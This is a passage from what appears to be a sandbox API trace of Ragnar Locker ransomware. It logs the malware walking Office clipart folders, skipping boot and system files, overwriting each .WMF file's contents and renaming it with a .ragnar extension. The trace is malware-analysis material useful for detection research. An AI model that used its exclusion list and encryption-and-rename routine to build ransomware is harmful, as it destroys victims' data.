lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.955] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01218_.WMF" | out: lpString1="AN01218_.WMF") returned="AN01218_.WMF" [0079.955] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned=".WMF" [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="autorun.inf") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="boot.ini") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootfont.bin") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootsect.bak") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootmgr") returned -1 [0079.955] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootmgr.efi") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="desktop.ini") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="iconcache.db") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ntldr") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ntuser.dat") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ntuser.ini") returned -1 [0079.956] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="thumbs.db") returned -1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.956] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0079.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.956] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3012) returned 1 [0079.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.956] GetProcessHeap () returned 0x580000 [0079.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.956] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.958] VirtualAlloc (lpAddress=0x0, dwSize=0xbc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.958] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbc4, lpOverlapped=0x0) returned 1 [0079.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.958] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.958] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbc4, lpOverlapped=0x0) returned 1 [0079.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.959] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.959] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.959] GetProcessHeap () returned 0x580000 [0079.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.959] CloseHandle (hObject=0xf4) returned 1 [0079.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" [0079.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ragnar_FD7BD9FC" [0079.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0079.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.960] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01251_.WMF" | out: lpString1="AN01251_.WMF") returned="AN01251_.WMF" [0079.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned=".WMF" [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="autorun.inf") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="boot.ini") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootfont.bin") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootsect.bak") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootmgr") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootmgr.efi") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="desktop.ini") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="iconcache.db") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ntldr") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ntuser.dat") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.960] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ntuser.ini") returned -1 [0079.961] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="thumbs.db") returned -1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.961] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0079.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.961] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2756) returned 1 [0079.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xabb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.961] GetProcessHeap () returned 0x580000 [0079.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.961] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.963] VirtualAlloc (lpAddress=0x0, dwSize=0xac4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.963] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xac4, lpOverlapped=0x0) returned 1 [0079.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.963] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac4, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.963] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xac4, lpOverlapped=0x0) returned 1 [0079.963] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.963] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.964] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.964] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.964] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.964] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.964] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.964] GetProcessHeap () returned 0x580000 [0079.964] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.964] CloseHandle (hObject=0xf4) returned 1 [0079.964] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" [0079.964] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ragnar_FD7BD9FC" [0079.964] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.965] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0079.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.965] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01545_.WMF" | out: lpString1="AN01545_.WMF") returned="AN01545_.WMF" [0079.965] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned=".WMF" [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="autorun.inf") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="boot.ini") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootfont.bin") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootsect.bak") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootmgr") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootmgr.efi") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="desktop.ini") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="iconcache.db") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ntldr") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ntuser.dat") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ntuser.ini") returned -1 [0079.965] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="thumbs.db") returned -1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.965] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0079.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.966] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7372) returned 1 [0079.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.966] GetProcessHeap () returned 0x580000 [0079.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.966] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.967] VirtualAlloc (lpAddress=0x0, dwSize=0x1ccc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.967] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ccc, lpOverlapped=0x0) returned 1 [0079.968] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.968] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ccc, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.968] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ccc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ccc, lpOverlapped=0x0) returned 1 [0079.968] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ccc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.968] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ccc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.969] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.969] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.969] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.969] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.969] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.969] GetProcessHeap () returned 0x580000 [0079.969] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.969] CloseHandle (hObject=0xf4) returned 1 [0079.969] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" [0079.969] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ragnar_FD7BD9FC" [0079.969] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.970] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0079.970] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.970] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN02122_.WMF" | out: lpString1="AN02122_.WMF") returned="AN02122_.WMF" [0079.970] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned=".WMF" [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="autorun.inf") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="boot.ini") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="bootfont.bin") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="bootsect.bak") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="bootmgr") returned -1 